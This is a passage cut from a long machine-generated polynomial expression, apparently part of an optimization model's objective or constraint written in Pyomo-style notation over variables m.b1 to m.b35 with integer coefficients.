m.b25*m.b35 - 64*m.b21*m.b25*m.b2 - 96*m.b21*m.b26*m.b27 - 96*m.b21*m.b26*m.b28 - 96*m.b21*m.b26*
m.b29 - 128*m.b21*m.b26*m.b30 - 224*m.b21*m.b26*m.b31 - 192*m.b21*m.b26*m.b32 - 160*m.b21*m.b26*
m.b33 - 128*m.b21*m.b26*m.b34 - 128*m.b21*m.b26*m.b35 - 64*m.b21*m.b26*m.b2 - 96*m.b21*m.b27*
m.b28 - 128*m.b21*m.b27*m.b29 - 96*m.b21*m.b27*m.b30 - 224*m.b21*m.b27*m.b31 - 192*m.b21*m.b27*
m.b32 - 128*m.b21*m.b27*m.b33 - 128*m.b21*m.b27*m.b34 - 128*m.b21*m.b27*m.b35 - 64*m.b21*m.b27*
m.b2 - 96*m.b21*m.b28*m.b29 - 64*m.b21*m.b28*m.b30 - 64*m.b21*m.b28*m.b31 - 192*m.b21*m.b28*m.b32
- 160*m.b21*m.b28*m.b33 - 128*m.b21*m.b28*m.b34 - 64*m.b21*m.b28*m.b35 - 64*m.b21*m.b28*m.b2 -
64*m.b21*m.b29*m.b30 - 64*m.b21*m.b29*m.b31 - 192*m.b21*m.b29*m.b32 - 160*m.b21*m.b29*m.b33 - 128
*m.b21*m.b29*m.b34 - 128*m.b21*m.b29*m.b35 - 64*m.b21*m.b29*m.b2 - 64*m.b21*m.b30*m.b31 - 64*
m.b21*m.b30*m.b32 - 160*m.b21*m.b30*m.b33 - 128*m.b21*m.b30*m.b34 - 128*m.b21*m.b30*m.b35 - 64*
m.b21*m.b30*m.b2 - 64*m.b21*m.b31*m.b32 - 160*m.b21*m.b31*m.b33 - 128*m.b21*m.b31*m.b34 - 128*
m.b21*m.b31*m.b35 - 64*m.b21*m.b31*m.b2 - 64*m.b21*m.b32*m.b33 - 128*m.b21*m.b32*m.b34 - 128*
m.b21*m.b32*m.b35 - 64*m.b21*m.b32*m.b2 - 128*m.b21*m.b33*m.b34 - 128*m.b21*m.b33*m.b35 - 64*
m.b21*m.b33*m.b2 - 128*m.b21*m.b34*m.b35 - 64*m.b21*m.b34*m.b2 - 64*m.b21*m.b35*m.b2 - 64*m.b22*
m.b23*m.b24 - 96*m.b22*m.b23*m.b25 - 96*m.b22*m.b23*m.b26 - 96*m.b22*m.b23*m.b27 - 96*m.b22*m.b23
*m.b28 - 96*m.b22*m.b23*m.b29 - 288*m.b22*m.b23*m.b30 - 256*m.b22*m.b23*m.b31 - 224*m.b22*m.b23*
m.b32 - 192*m.b22*m.b23*m.b33 - 160*m.b22*m.b23*m.b34 - 128*m.b22*m.b23*m.b35 - 64*m.b22*m.b23*
m.b2 - 96*m.b22*m.b24*m.b25 - 64*m.b22*m.b24*m.b26 - 96*m.b22*m.b24*m.b27 - 96*m.b22*m.b24*m.b28
- 96*m.b22*m.b24*m.b29 - 288*m.b22*m.b24*m.b30 - 256*m.b22*m.b24*m.b31 - 224*m.b22*m.b24*m.b32
- 192*m.b22*m.b24*m.b33 - 160*m.b22*m.b24*m.b34 - 96*m.b22*m.b24*m.b35 - 64*m.b22*m.b24*m.b2 -
96*m.b22*m.b25*m.b26 - 96*m.b22*m.b25*m.b27 - 64*m.b22*m.b25*m.b28 - 96*m.b22*m.b25*m.b29 - 96*
m.b22*m.b25*m.b30 - 256*m.b22*m.b25*m.b31 - 224*m.b22*m.b25*m.b32 - 192*m.b22*m.b25*m.b33 - 128*
m.b22*m.b25*m.b34 - 96*m.b22*m.b25*m.b35 - 64*m.b22*m.b25*m.b2 - 96*m.b22*m.b26*m.b27 - 96*m.b22*
m.b26*m.b28 - 96*m.b22*m.b26*m.b29 - 64*m.b22*m.b26*m.b30 - 256*m.b22*m.b26*m.b31 - 224*m.b22*
m.b26*m.b32 - 160*m.b22*m.b26*m.b33 - 128*m.b22*m.b26*m.b34 - 96*m.b22*m.b26*m.b35 - 64*m.b22*
m.b26*m.b2 - 96*m.b22*m.b27*m.b28 - 96*m.b22*m.b27*m.b29 - 96*m.b22*m.b27*m.b30 - 96*m.b22*m.b27*
m.b31 - 160*m.b22*m.b27*m.b32 - 160*m.b22*m.b27*m.b33 - 128*m.b22*m.b27*m.b34 - 96*m.b22*m.b27*
m.b35 - 64*m.b22*m.b27*m.b2 - 96*m.b22*m.b28*m.b29 - 96*m.b22*m.b28*m.b30 - 64*m.b22*m.b28*m.b31
- 192*m.b22*m.b28*m.b32 - 160*m.b22*m.b28*m.b33 - 96*m.b22*m.b28*m.b34 - 96*m.b22*m.b28*m.b35 -
64*m.b22*m.b28*m.b2 - 64*m.b22*m.b29*m.b30 - 64*m.b22*m.b29*m.b31 - 64*m.b22*m.b29*m.b32 - 160*
m.b22*m.b29*m.b33 - 128*m.b22*m.b29*m.b34 - 96*m.b22*m.b29*m.b35 - 32*m.b22*m.b29*m.b2 - 64*m.b22
*m.b30*m.b31 - 64*m.b22*m.b30*m.b32 - 160*m.b22*m.b30*m.b33 - 128*m.b22*m.b30*m.b34 - 96*m.b22*
m.b30*m.b35 - 64*m.b22*m.b30*m.b2 - 64*m.b22*m.b31*m.b32 - 64*m.b22*m.b31*m.b33 - 128*m.b22*m.b31
*m.b34 - 96*m.b22*m.b31*m.b35 - 64*m.b22*m.b31*m.b2 - 64*m.b22*m.b32*m.b33 - 128*m.b22*m.b32*
m.b34 - 96*m.b22*m.b32*m.b35 - 64*m.b22*m.b32*m.b2 - 64*m.b22*m.b33*m.b34 - 96*m.b22*m.b33*m.b35
- 64*m.b22*m.b33*m.b2 - 96*m.b22*m.b34*m.b35 - 64*m.b22*m.b34*m.b2 - 64*m.b22*m.b35*m.b2 - 64*
m.b23*m.b24*m.b25 - 96*m.b23*m.b24*m.b26 - 96*m.b23*m.b24*m.b27 - 96*m.b23*m.b24*m.b28 - 96*m.b23
*m.b24*m.b29 - 96*m.b23*m.b24*m.b30 - 256*m.b23*m.b24*m.b31 - 224*m.b23*m.b24*m.b32 - 192*m.b23*
m.b24*m.b33 - 160*m.b23*m.b24*m.b34 - 128*m.b23*m.b24*m.b35 - 64*m.b23*m.b24*m.b2 - 96*m.b23*
m.b25*m.b26 - 64*m.b23*m.b25*m.b27 - 96*m.b23*m.b25*m.b28 - 96*m.b23*m.b25*m.b29 - 96*m.b23*m.b25
*m.b30 - 256*m.b23*m.b25*m.b31 - 224*m.b23*m.b25*m.b32 - 192*m.b23*m.b25*m.b33 - 160*m.b23*m.b25*
m.b34 - 96*m.b23*m.b25*m.b35 - 64*m.b23*m.b25*m.b2 - 96*m.b23*m.b26*m.b27 - 96*m.b23*m.b26*m.b28
- 64*m.b23*m.b26*m.b29 - 96*m.b23*m.b26*m.b30 - 96*m.b23*m.b26*m.b31 - 224*m.b23*m.b26*m.b32 -
192*m.b23*m.b26*m.b33 - 128*m.b23*m.b26*m.b34 - 96*m.b23*m.b26*m.b35 - 64*m.b23*m.b26*m.b2 - 96*
m.b23*m.b27*m.b28 - 96*m.b23*m.b27*m.b29 - 96*m.b23*m.b27*m.b30 - 64*m.b23*m.b27*m.b31 - 224*
m.b23*m.b27*m.b32 - 160*m.b23*m.b27*m.b33 - 128*m.b23*m.b27*m.b34 - 96*m.b23*m.b27*m.b35 - 64*
m.b23*m.b27*m.b2 - 96*m.b23*m.b28*m.b29 - 96*m.b23*m.b28*m.b30 - 96*m.b23*m.b28*m.b31 - 64*m.b23*
m.b28*m.b32 - 128*m.b23*m.b28*m.b33 - 128*m.b23*m.b28*m.b34 - 96*m.b23*m.b28*m.b35 - 64*m.b23*
m.b28*m.b2 - 96*m.b23*m.b29*m.b30 - 64*m.b23*m.b29*m.b31 - 64*m.b23*m.b29*m.b32 - 160*m.b23*m.b29
*m.b33 - 128*m.b23*m.b29*m.b34 - 64*m.b23*m.b29*m.b35 - 64*m.b23*m.b29*m.b2 - 64*m.b23*m.b30*
m.b31 - 64*m.b23*m.b30*m.b32 - 64*m.b23*m.b30*m.b33 - 128*m.b23*m.b30*m.b34 - 96*m.b23*m.b30*
m.b35 - 64*m.b23*m.b30*m.b2 - 64*m.b23*m.b31*m.b32 - 64*m.b23*m.b31*m.b33 - 128*m.b23*m.b31*m.b34
- 96*m.b23*m.b31*m.b35 - 64*m.b23*m.b31*m.b2 - 64*m.b23*m.b32*m.b33 - 64*m.b23*m.b32*m.b34 - 96*
m.b23*m.b32*m.b35 - 64*m.b23*m.b32*m.b2 - 64*m.b23*m.b33*m.b34 - 96*m.b23*m.b33*m.b35 - 64*m.b23*
m.b33*m.b2 - 64*m.b23*m.b34*m.b35 - 64*m.b23*m.b34*m.b2 - 64*m.b23*m.b35*m.b2 - 64*m.b24*m.b25*
m.b26 - 96*m.b24*m.b25*m.b27 - 96*m.b24*m.b25*m.b28 - 96*m.b24*m.b25*m.b29 - 96*m.b24*m.b25*m.b30
- 96*m.b24*m.b25*m.b31 - 224*m.b24*m.b25*m.b32 - 192*m.b24*m.b25*m.b33 - 160*m.b24*m.b25*m.b34
- 128*m.b24*m.b25*m.b35 - 64*m.b24*m.b25*m.b2 - 96*m.b24*m.b26*m.b27 - 64*m.b24*m.b26*m.b28 - 96
*m.b24*m.b26*m.b29 - 96*m.b24*m.b26*m.b30 - 96*m.b24*m.b26*m.b31 - 224*m.b24*m.b26*m.b32 - 192*
m.b24*m.b26*m.b33 - 160*m.b24*m.b26*m.b34 - 96*m.b24*m.b26*m.b35 - 64*m.b24*m.b26*m.b2 - 96*m.b24
*m.b27*m.b28 - 96*m.b24*m.b27*m.b29 - 64*m.b24*m.b27*m.b30 - 96*m.b24*m.b27*m.b31 - 96*m.b24*
m.b27*m.b32 - 192*m.b24*m.b27*m.b33 - 128*m.b24*m.b27*m.b34 - 96*m.b24*m.b27*m.b35 - 64*m.b24*
m.b27*m.b2 - 96*m.b24*m.b28*m.b29 - 96*m.b24*m.b28*m.b30 - 96*m.b24*m.b28*m.b31 - 64*m.b24*m.b28*
m.b32 - 160*m.b24*m.b28*m.b33 - 128*m.b24*m.b28*m.b34 - 96*m.b24*m.b28*m.b35 - 64*m.b24*m.b28*
m.b2 - 96*m.b24*m.b29*m.b30 - 96*m.b24*m.b29*m.b31 - 64*m.b24*m.b29*m.b32 - 64*m.b24*m.b29*m.b33
- 96*m.b24*m.b29*m.b34 - 96*m.b24*m.b29*m.b35 - 64*m.b24*m.b29*m.b2 - 64*m.b24*m.b30*m.b31 - 64*
m.b24*m.b30*m.b32 - 64*m.b24*m.b30*m.b33 - 128*m.b24*m.b30*m.b34 - 96*m.b24*m.b30*m.b35 - 32*
m.b24*m.b30*m.b2 - 64*m.b24*m.b31*m.b32 - 64*m.b24*m.b31*m.b33 - 64*m.b24*m.b31*m.b34 - 96*m.b24*
m.b31*m.b35 - 64*m.b24*m.b31*m.b2 - 64*m.b24*m.b32*m.b33 - 64*m.b24*m.b32*m.b34 - 96*m.b24*m.b32*
m.b35 - 64*m.b24*m.b32*m.b2 - 64*m.b24*m.b33*m.b34 - 64*m.b24*m.b33*m.b35 - 64*m.b24*m.b33*m.b2
- 64*m.b24*m.b34*m.b35 - 64*m.b24*m.b34*m.b2 - 64*m.b24*m.b35*m.b2 - 64*m.b25*m.b26*m.b27 - 96*
m.b25*m.b26*m.b28 - 96*m.b25*m.b26*m.b29 - 96*m.b25*m.b26*m.b30 - 96*m.b25*m.b26*m.b31 - 96*m.b25
*m.b26*m.b32 - 192*m.b25*m.b26*m.b33 - 160*m.b25*m.b26*m.b34 - 128*m.b25*m.b26*m.b35 - 64*m.b25*
m.b26*m.b2 - 96*m.b25*m.b27*m.b28 - 64*m.b25*m.b27*m.b29 - 96*m.b25*m.b27*m.b30 - 96*m.b25*m.b27*
m.b31 - 96*m.b25*m.b27*m.b32 - 192*m.b25*m.b27*m.b33 - 160*m.b25*m.b27*m.b34 - 96*m.b25*m.b27*
m.b35 - 64*m.b25*m.b27*m.b2 - 96*m.b25*m.b28*m.b29 - 96*m.b25*m.b28*m.b30 - 64*m.b25*m.b28*m.b31
- 96*m.b25*m.b28*m.b32 - 96*m.b25*m.b28*m.b33 - 128*m.b25*m.b28*m.b34 - 96*m.b25*m.b28*m.b35 -
64*m.b25*m.b28*m.b2 - 96*m.b25*m.b29*m.b30 - 96*m.b25*m.b29*m.b31 - 96*m.b25*m.b29*m.b32 - 32*
m.b25*m.b29*m.b33 - 128*m.b25*m.b29*m.b34 - 96*m.b25*m.b29*m.b35 - 64*m.b25*m.b29*m.b2 - 96*m.b25
*m.b30*m.b31 - 64*m.b25*m.b30*m.b32 - 64*m.b25*m.b30*m.b33 - 64*m.b25*m.b30*m.b34 - 64*m.b25*
m.b30*m.b35 - 64*m.b25*m.b30*m.b2 - 64*m.b25*m.b31*m.b32 - 64*m.b25*m.b31*m.b33 - 64*m.b25*m.b31*
m.b34 - 96*m.b25*m.b31*m.b35 - 64*m.b25*m.b31*m.b2 - 64*m.b25*m.b32*m.b33 - 64*m.b25*m.b32*m.b34
- 64*m.b25*m.b32*m.b35 - 64*m.b25*m.b32*m.b2 - 64*m.b25*m.b33*m.b34 - 64*m.b25*m.b33*m.b35 - 64*
m.b25*m.b33*m.b2 - 64*m.b25*m.b34*m.b35 - 64*m.b25*m.b34*m.b2 - 64*m.b25*m.b35*m.b2 - 64*m.b26*
m.b27*m.b28 - 96*m.b26*m.b27*m.b29 - 96*m.b26*m.b27*m.b30 - 96*m.b26*m.b27*m.b31 - 96*m.b26*m.b27
*m.b32 - 96*m.b26*m.b27*m.b33 - 160*m.b26*m.b27*m.b34 - 128*m.b26*m.b27*m.b35 - 64*m.b26*m.b27*
m.b2 - 96*m.b26*m.b28*m.b29 - 64*m.b26*m.b28*m.b30 - 96*m.b26*m.b28*m.b31 - 96*m.b26*m.b28*m.b32
- 96*m.b26*m.b28*m.b33 - 160*m.b26*m.b28*m.b34 - 96*m.b26*m.b28*m.b35 - 64*m.b26*m.b28*m.b2 - 96
*m.b26*m.b29*m.b30 - 96*m.b26*m.b29*m.b31 - 64*m.b26*m.b29*m.b32 - 96*m.b26*m.b29*m.b33 - 64*
m.b26*m.b29*m.b34 - 96*m.b26*m.b29*m.b35 - 64*m.b26*m.b29*m.b2 - 96*m.b26*m.b30*m.b31 - 96*m.b26*
m.b30*m.b32 - 64*m.b26*m.b30*m.b33 - 32*m.b26*m.b30*m.b34 - 96*m.b26*m.b30*m.b35 - 64*m.b26*m.b30
*m.b2 - 64*m.b26*m.b31*m.b32 - 64*m.b26*m.b31*m.b33 - 64*m.b26*m.b31*m.b34 - 64*m.b26*m.b31*m.b35
- 32*m.b26*m.b31*m.b2 - 64*m.b26*m.b32*m.b33 - 64*m.b26*m.b32*m.b34 - 64*m.b26*m.b32*m.b35 - 64*
m.b26*m.b32*m.b2 - 64*m.b26*m.b33*m.b34 - 64*m.b26*m.b33*m.b35 - 64*m.b26*m.b33*m.b2 - 64*m.b26*
m.b34*m.b35 - 64*m.b26*m.b34*m.b2 - 64*m.b26*m.b35*m.b2 - 64*m.b27*m.b28*m.b29 - 96*m.b27*m.b28*
m.b30 - 96*m.b27*m.b28*m.b31 - 96*m.b27*m.b28*m.b32 - 96*m.b27*m.b28*m.b33 - 96*m.b27*m.b28*m.b34
- 128*m.b27*m.b28*m.b35 - 64*m.b27*m.b28*m.b2 - 96*m.b27*m.b29*m.b30 - 64*m.b27*m.b29*m.b31 - 96
*m.b27*m.b29*m.b32 - 96*m.b27*m.b29*m.b33 - 96*m.b27*m.b29*m.b34 - 96*m.b27*m.b29*m.b35 - 64*
m.b27*m.b29*m.b2 - 96*m.b27*m.b30*m.b31 - 96*m.b27*m.b30*m.b32 - 64*m.b27*m.b30*m.b33 - 64*m.b27*
m.b30*m.b34 - 64*m.b27*m.b30*m.b35 - 64*m.b27*m.b30*m.b2 - 96*m.b27*m.b31*m.b32 - 64*m.b27*m.b31*
m.b33 - 64*m.b27*m.b31*m.b34 - 32*m.b27*m.b31*m.b35 - 64*m.b27*m.b31*m.b2 - 64*m.b27*m.b32*m.b33
- 64*m.b27*m.b32*m.b34 - 64*m.b27*m.b32*m.b35 - 64*m.b27*m.b32*m.b2 - 64*m.b27*m.b33*m.b34 - 64*
m.b27*m.b33*m.b35 - 64*m.b27*m.b33*m.b2 - 64*m.b27*m.b34*m.b35 - 64*m.b27*m.b34*m.b2 - 64*m.b27*
m.b35*m.b2 - 64*m.b28*m.b29*m.b30 - 96*m.b28*m.b29*m.b31 - 96*m.b28*m.b29*m.b32 - 96*m.b28*m.b29*
m.b33 - 96*m.b28*m.b29*m.b34 - 96*m.b28*m.b29*m.b35 - 64*m.b28*m.b29*m.b2 - 96*m.b28*m.b30*m.b31
- 64*m.b28*m.b30*m.b32 - 96*m.b28*m.b30*m.b33 - 96*m.b28*m.b30*m.b34 - 64*m.b28*m.b30*m.b35 - 64
*m.b28*m.b30*m.b2 - 96*m.b28*m.b31*m.b32 - 96*m.b28*m.b31*m.b33 - 32*m.b28*m.b31*m.b34 - 64*m.b28
*m.b31*m.b35 - 64*m.b28*m.b31*m.b2 - 64*m.b28*m.b32*m.b33 - 64*m.b28*m.b32*m.b34 - 64*m.b28*m.b32
*m.b35 - 32*m.b28*m.b32*m.b2 - 64*m.b28*m.b33*m.b34 - 64*m.b28*m.b33*m.b35 - 64*m.b28*m.b33*m.b2
- 64*m.b28*m.b34*m.b35 - 64*m.b28*m.b34*m.b2 - 64*m.b28*m.b35*m.b2 - 64*m.b29*m.b30*m.b31 - 96*
m.b29*m.b30*m.b32 - 96*m.b29*m.b30*m.b33 - 96*m.b29*m.b30*m.b34 - 96*m.b29*m.b30*m.b35 - 64*m.b29
*m.b30*m.b2 - 96*m.b29*m.b31*m.b32 - 64*m.b29*m.b31*m.b33 - 96*m.b29*m.b31*m.b34 - 64*m.b29*m.b31
*m.b35 - 64*m.b29*m.b31*m.b2 - 96*m.b29*m.b32*m.b33 - 64*m.b29*m.b32*m.b34 - 32*m.b29*m.b32*m.b35
- 64*m.b29*m.b32*m.b2 - 64*m.b29*m.b33*m.b34 - 64*m.b29*m.b33*m.b35 - 64*m.b29*m.b33*m.b2 - 64*
m.b29*m.b34*m.b35 - 64*m.b29*m.b34*m.b2 - 64*m.b29*m.b35*m.b2 - 64*m.b30*m.b31*m.b32 - 96*m.b30*
m.b31*m.b33 - 96*m.b30*m.b31*m.b34 - 96*m.b30*m.b31*m.b35 - 64*m.b30*m.b31*m.b2 - 96*m.b30*m.b32*
m.b33 - 64*m.b30*m.b32*m.b34 - 64*m.b30*m.b32*m.b35 - 64*m.b30*m.b32*m.b2 - 64*m.b30*m.b33*m.b34
- 64*m.b30*m.b33*m.b35 - 32*m.b30*m.b33*m.b2 - 64*m.b30*m.b34*m.b35 - 64*m.b30*m.b34*m.b2 - 64*
m.b30*m.b35*m.b2 - 64*m.b31*m.b32*m.b33 - 96*m.b31*m.b32*m.b34 - 96*m.b31*m.b32*m.b35 - 64*m.b31*
m.b32*m.b2 - 96*m.b31*m.b33*m.b34 - 32*m.b31*m.b33*m.b35 - 64*m.b31*m.b33*m.b2 - 64*m.b31*m.b34*
m.b35 - 64*m.b31*m.b34*m.b2 - 64*m.b31*m.b35*m.b2 - 64*m.b32*m.b33*m.b34 - 96*m.b32*m.b33*m.b35
- 64*m.b32*m.b33*m.b2 - 64*m.b32*m.b34*m.b35 - 32*m.b32*m.b34*m.b2 - 64*m.b32*m.b35*m.b2 - 64*
m.b33*m.b34*m.b35 - 64*m.b33*m.b34*m.b2 - 64*m.b33*m.b35*m.b2 - 32*m.b34*m.b35*m.b2 + 512*m.b1*
m.b3 + 504*m.b1*m.b4 + 496*m.b1*m.b5 + 488*m.b1*m.b6 + 480*m.b1*m.b7 + 472*m.b1*m.b8 + 464*m.b1*
m.b9 + 456*m.b1*m.b10 + 448*m.b1*m.b11 + 440*m.b1*m.b12 + 432*m.b1*m.b13 + 424*m.b1*m.b14 + 416*
m.b1*m.b15 + 408*m.b1*m.b16 + 400*m.b1*m.b17 + 392*m.b1*m.b18 + 384*m.b1*m.b19 + 392*m.b1*m.b20
+ 384*m.b1*m.b21 + 376*m.b1*m.b22 + 368*m.b1*m.b23 + 360*m.b1*m.b24 + 352*m.b1*m.b25 + 344*m.b1*
m.b26 + 336*m.b1*m.b27 + 328*m.b1*m.b28 + 320*m.b1*m.b29 + 312*m.b1*m.b30 + 304*m.b1*m.b31 + 296*
m.b1*m.b32 + 288*m.b1*m.b33 + 280*m.b1*m.b34 + 272*m.b1*m.b35 + 264*m.b1*m.b2 + 816*m.b3*m.b4 +
824*m.b3*m.b5 + 816*m.b3*m.b6 + 808*m.b3*m.b7 + 800*m.b3*m.b8 + 792*m.b3*m.b9 + 768*m.b3*m.b10 +
760*m.b3*m.b11 + 752*m.b3*m.b12 + 744*m.b3*m.b13 + 736*m.b3*m.b14 + 728*m.b3*m.b15 + 720*m.b3*
m.b16 + 792*m.b3*m.b17 + 784*m.b3*m.b18 + 760*m.b3*m.b19 + 784*m.b3*m.b20 + 760*m.b3*m.b21 + 752*
m.b3*m.b22 + 728*m.b3*m.b23 + 720*m.b3*m.b24 + 696*m.b3*m.b25 + 688*m.b3*m.b26 + 664*m.b3*m.b27
+ 656*m.b3*m.b28 + 632*m.b3*m.b29 + 624*m.b3*m.b30 + 600*m.b3*m.b31 + 592*m.b3*m.b32 + 568*m.b3*
m.b33 + 560*m.b3*m.b34 + 536*m.b3*m.b35 + 272*m.b3*m.b2 + 1088*m.b4*m.b5 + 1080*m.b4*m.b6 + 1088*
m.b4*m.b7 + 1080*m.b4*m.b8 + 1072*m.b4*m.b9 + 1064*m.b4*m.b10 + 1024*m.b4*m.b11 + 1016*m.b4*m.b12
+ 1008*m.b4*m.b13 + 1000*m.b4*m.b14 + 992*m.b4*m.b15 + 1000*m.b4*m.b16 + 1008*m.b4*m.b17 + 1160*
m.b4*m.b18 + 1152*m.b4*m.b19 + 1144*m.b4*m.b20 + 1152*m.b4*m.b21 + 1112*m.b4*m.b22 + 1104*m.b4*
m.b23 + 1064*m.b4*m.b24 + 1056*m.b4*m.b25 + 1016*m.b4*m.b26 + 1008*m.b4*m.b27 + 968*m.b4*m.b28 +
960*m.b4*m.b29 + 920*m.b4*m.b30 + 912*m.b4*m.b31 + 872*m.b4*m.b32 + 864*m.b4*m.b33 + 824*m.b4*
m.b34 + 560*m.b4*m.b35 + 280*m.b4*m.b2 + 1312*m.b5*m.b6 + 1304*m.b5*m.b7 + 1296*m.b5*m.b8 + 1304*
m.b5*m.b9 + 1296*m.b5*m.b10 + 1288*m.b5*m.b11 + 1232*m.b5*m.b12 + 1224*m.b5*m.b13 + 1216*m.b5*
m.b14 + 1224*m.b5*m.b15 + 1216*m.b5*m.b16 + 1256*m.b5*m.b17 + 1280*m.b5*m.b18 + 1512*m.b5*m.b19
+ 1536*m.b5*m.b20 + 1512*m.b5*m.b21 + 1504*m.b5*m.b22 + 1448*m.b5*m.b23 + 1440*m.b5*m.b24 + 1384
*m.b5*m.b25 + 1376*m.b5*m.b26 + 1320*m.b5*m.b27 + 1312*m.b5*m.b28 + 1256*m.b5*m.b29 + 1248*m.b5*
m.b30 + 1192*m.b5*m.b31 + 1184*m.b5*m.b32 + 1128*m.b5*m.b33 + 864*m.b5*m.b34 + 568*m.b5*m.b35 +
288*m.b5*m.b2 + 1488*m.b6*m.b7 + 1480*m.b6*m.b8 + 1472*m.b6*m.b9 + 1464*m.b6*m.b10 + 1472*m.b6*
m.b11 + 1464*m.b6*m.b12 + 1392*m.b6*m.b13 + 1400*m.b6*m.b14 + 1392*m.b6*m.b15 + 1416*m.b6*m.b16
+ 1424*m.b6*m.b17 + 1496*m.b6*m.b18 + 1536*m.b6*m.b19 + 1880*m.b6*m.b20 + 1904*m.b6*m.b21 + 1848
*m.b6*m.b22 + 1840*m.b6*m.b23 + 1768*m.b6*m.b24 + 1760*m.b6*m.b25 + 1688*m.b6*m.b26 + 1680*m.b6*
m.b27 + 1608*m.b6*m.b28 + 1600*m.b6*m.b29 + 1528*m.b6*m.b30 + 1520*m.b6*m.b31 + 1448*m.b6*m.b32
+ 1184*m.b6*m.b33 + 872*m.b6*m.b34 + 592*m.b6*m.b35 + 296*m.b6*m.b2 + 1616*m.b7*m.b8 + 1608*m.b7
*m.b9 + 1600*m.b7*m.b10 + 1592*m.b7*m.b11 + 1584*m.b7*m.b12 + 1608*m.b7*m.b13 + 1520*m.b7*m.b14
+ 1544*m.b7*m.b15 + 1536*m.b7*m.b16 + 1592*m.b7*m.b17 + 1616*m.b7*m.b18 + 1720*m.b7*m.b19 + 1808
*m.b7*m.b20 + 2232*m.b7*m.b21 + 2256*m.b7*m.b22 + 2168*m.b7*m.b23 + 2160*m.b7*m.b24 + 2072*m.b7*
m.b25 + 2064*m.b7*m.b26 + 1976*m.b7*m.b27 + 1968*m.b7*m.b28 + 1880*m.b7*m.b29 + 1872*m.b7*m.b30
+ 1784*m.b7*m.b31 + 1520*m.b7*m.b32 + 1192*m.b7*m.b33 + 912*m.b7*m.b34 + 600*m.b7*m.b35 + 304*
m.b7*m.b2 + 1696*m.b8*m.b9 + 1688*m.b8*m.b10 + 1680*m.b8*m.b11 + 1688*m.b8*m.b12 + 1680*m.b8*
m.b13 + 1704*m.b8*m.b14 + 1616*m.b8*m.b15 + 1656*m.b8*m.b16 + 1664*m.b8*m.b17 + 1752*m.b8*m.b18
+ 1792*m.b8*m.b19 + 1960*m.b8*m.b20 + 2064*m.b8*m.b21 + 2568*m.b8*m.b22 + 2576*m.b8*m.b23 + 2472
*m.b8*m.b24 + 2464*m.b8*m.b25 + 2360*m.b8*m.b26 + 2352*m.b8*m.b27 + 2248*m.b8*m.b28 + 2240*m.b8*
m.b29 + 2136*m.b8*m.b30 + 1872*m.b8*m.b31 + 1528*m.b8*m.b32 + 1248*m.b8*m.b33 + 920*m.b8*m.b34 +
624*m.b8*m.b35 + 312*m.b8*m.b2 + 1728*m.b9*m.b10 + 1736*m.b9*m.b11 + 1728*m.b9*m.b12 + 1752*m.b9*
m.b13 + 1744*m.b9*m.b14 + 1784*m.b9*m.b15 + 1664*m.b9*m.b16 + 1752*m.b9*m.b17 + 1776*m.b9*m.b18
+ 1896*m.b9*m.b19 + 1984*m.b9*m.b20 + 2184*m.b9*m.b21 + 2304*m.b9*m.b22 + 2888*m.b9*m.b23 + 2880
*m.b9*m.b24 + 2760*m.b9*m.b25 + 2752*m.b9*m.b26 + 2632*m.b9*m.b27 + 2624*m.b9*m.b28 + 2504*m.b9*
m.b29 + 2240*m.b9*m.b30 + 1880*m.b9*m.b31 + 1600*m.b9*m.b32 + 1256*m.b9*m.b33 + 960*m.b9*m.b34 +
632*m.b9*m.b35 + 320*m.b9*m.b2 + 1728*m.b10*m.b11 + 1752*m.b10*m.b12 + 1744*m.b10*m.b13 + 1784*
m.b10*m.b14 + 1776*m.b10*m.b15 + 1832*m.b10*m.b16 + 1696*m.b10*m.b17 + 1816*m.b10*m.b18 + 1872*
m.b10*m.b19 + 2056*m.b10*m.b20 + 2160*m.b10*m.b21 + 2392*m.b10*m.b22 + 2528*m.b10*m.b23 + 3176*
m.b10*m.b24 + 3168*m.b10*m.b25 + 3032*m.b10*m.b26 + 3024*m.b10*m.b27 + 2888*m.b10*m.b28 + 2624*
m.b10*m.b29 + 2248*m.b10*m.b30 + 1968*m.b10*m.b31 + 1608*m.b10*m.b32 + 1312*m.b10*m.b33 + 968*
m.b10*m.b34 + 656*m.b10*m.b35 + 328*m.b10*m.b2 + 1696*m.b11*m.b12 + 1736*m.b11*m.b13 + 1728*m.b11
*m.b14 + 1784*m.b11*m.b15 + 1776*m.b11*m.b16 + 1864*m.b11*m.b17 + 1712*m.b11*m.b18 + 1864*m.b11*
m.b19 + 1968*m.b11*m.b20 + 2200*m.b11*m.b21 + 2320*m.b11*m.b22 + 2584*m.b11*m.b23 + 2736*m.b11*
m.b24 + 3448*m.b11*m.b25 + 3440*m.b11*m.b26 + 3288*m.b11*m.b27 + 3024*m.b11*m.b28 + 2632*m.b11*
m.b29 + 2352*m.b11*m.b30 + 1976*m.b11*m.b31 + 1680*m.b11*m.b32 + 1320*m.b11*m.b33 + 1008*m.b11*
m.b34 + 664*m.b11*m.b35 + 336*m.b11*m.b2 + 1632*m.b12*m.b13 + 1688*m.b12*m.b14 + 1680*m.b12*m.b15
+ 1752*m.b12*m.b16 + 1760*m.b12*m.b17 + 1880*m.b12*m.b18 + 1712*m.b12*m.b19 + 1928*m.b12*m.b20
+ 2048*m.b12*m.b21 + 2312*m.b12*m.b22 + 2464*m.b12*m.b23 + 2760*m.b12*m.b24 + 2912*m.b12*m.b25
+ 3704*m.b12*m.b26 + 3440*m.b12*m.b27 + 3032*m.b12*m.b28 + 2752*m.b12*m.b29 + 2360*m.b12*m.b30
+ 2064*m.b12*m.b31 + 1688*m.b12*m.b32 + 1376*m.b12*m.b33 + 1016*m.b12*m.b34 + 688*m.b12*m.b35 +
344*m.b12*m.b2 + 1552*m.b13*m.b14 + 1624*m.b13*m.b15 + 1616*m.b13*m.b16 + 1720*m.b13*m.b17 + 1744
*m.b13*m.b18 + 1896*m.b13*m.b19 + 1744*m.b13*m.b20 + 1992*m.b13*m.b21 + 2128*m.b13*m.b22 + 2424*
m.b13*m.b23 + 2592*m.b13*m.b24 + 2936*m.b13*m.b25 + 2912*m.b13*m.b26 + 3448*m.b13*m.b27 + 3168*
m.b13*m.b28 + 2760*m.b13*m.b29 + 2464*m.b13*m.b30 + 2072*m.b13*m.b31 + 1760*m.b13*m.b32 + 1384*
m.b13*m.b33 + 1056*m.b13*m.b34 + 696*m.b13*m.b35 + 352*m.b13*m.b2 + 1504*m.b14*m.b15 + 1592*m.b14
